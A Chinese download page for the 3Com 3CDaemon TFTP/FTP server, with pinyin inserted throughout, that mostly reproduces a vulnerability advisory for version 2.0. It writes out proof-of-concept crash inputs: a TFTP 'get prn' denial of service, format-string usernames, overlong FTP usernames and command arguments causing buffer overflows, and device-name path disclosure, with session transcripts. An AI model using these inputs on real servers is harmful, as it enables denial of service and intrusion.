3COM 3CDaemon(TFTP軟件)

3COM 3CDaemon是（shì）一款多重服（fú）務器功能集成軟件（jiàn），主要作用於服務（wù）器中，同（tóng）時還能夠（gòu）幫助用戶改善相關的電腦功能，需（xū）要的（de）用戶快來綠色資源網（wǎng）下載吧（ba）！

3COM 3CDaemon軟（ruǎn）件簡介：

3com的這款（kuǎn）東西還是（shì）很有（yǒu）名很不錯滴~~~3CDaemon是一款免費的集成（chéng）了TFTP、FTP和SYSLOG功能的應用程序；作（zuò）用（yòng）於FTP,TFTP,SYSLOG服務器，TFTP客戶端，雖然還存在很（hěn）多的（de）問題，但是使用起來還（hái）是不錯的！

3COM 3CDaemon問（wèn）題詳解：

1、TFTP保留設備名拒絕服務攻擊（jī）

提交類似（sì）如下的請求，可導致TFTP服（fú）務程序掛起：

D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn

The 3CDaemon will be crashed with some msgs like

"Microsoft Visual C++ Runtime library"

"Runtime Error!"

"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "

"abnormal program termination".

2、FTP用戶名存在（zài）格式串問題

提交包含（hán）格式串字符（fú）作為（wéi）用戶名數（shù）據，可導致（zhì）守護（hù）程序崩潰（kuì）：

H:\>ftp 192.168.0.1

Connected to 192.168.0.1.

220 3Com 3CDaemon FTP Server Version 2.0

User (192.168.0.1:(none)): %n

Connection closed by remote host.

OR:

H:\>ftp 192.168.0.1

Connected to 192.168.0.1.

220 3Com 3CDaemon FTP Server Version 2.0

User (192.168.0.1:(none)): %s

331 User name ok, need password

Password:[anythinghere]

530 Login access denied

Login failed.

ftp>

3、FTP超長（zhǎng）用戶（hù）名緩衝區溢出

由（yóu）於對（duì）用戶名缺少正確邊界緩衝區檢查（chá），提交超長用戶名可（kě）導致緩衝區溢出：

D:\WINDOWS\system32>ftp 192.168.0.1

Connected to 192.168.0.1.

220 3Com 3CDaemon FTP Server Version 2.0

User (192.168.0.1:(none)):

501 Invalid or missing parameters

Login failed.

ftp> user AAA..[about 241 A here]...AAAAA

Connection closed by remote host.

4、多個FTP命令超長參（cān）數（shù）緩（huǎn）衝（chōng）區溢出

cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD等FTP命令對參數缺少充（chōng）分邊（biān）界檢查，提交（jiāo）超長字符（fú）串作為命令參數可導致緩衝區溢出：

ftp> cd AAA..[about 398 A here]...AAAAA

Connection closed by remote host.

ftp>

ftp> ls AAA..[about 247 A here]...AAAAA

200 PORT command successful.

Connection closed by remote host.

ftp> put 1.txt AAA..[about 247 A here]...AAAAA

200 PORT command successful.

532 Need account for storing files

Connection closed by remote host.

5、多個FTP命（mìng）令存在格式串問（wèn）題

提交（jiāo）格（gé）式字（zì）符串作（zuò）為參（cān）數，可（kě）導致程（chéng）序（xù）崩潰。

6、多個（gè）FTP命令包設備名信息泄露問題

請求保留（liú）設備名可導致返（fǎn）回（huí）程序安裝路徑（jìng）信息：

ftp> cd aux

550 aux : C:/3cdaemon/aux is not a directory!

ftp> cd lpt1

550 lpt1 : C:/3cdaemon/lpt1 is not a directory!

受影響係統（tǒng）：

3Com 3CDaemon 2.0 revision 10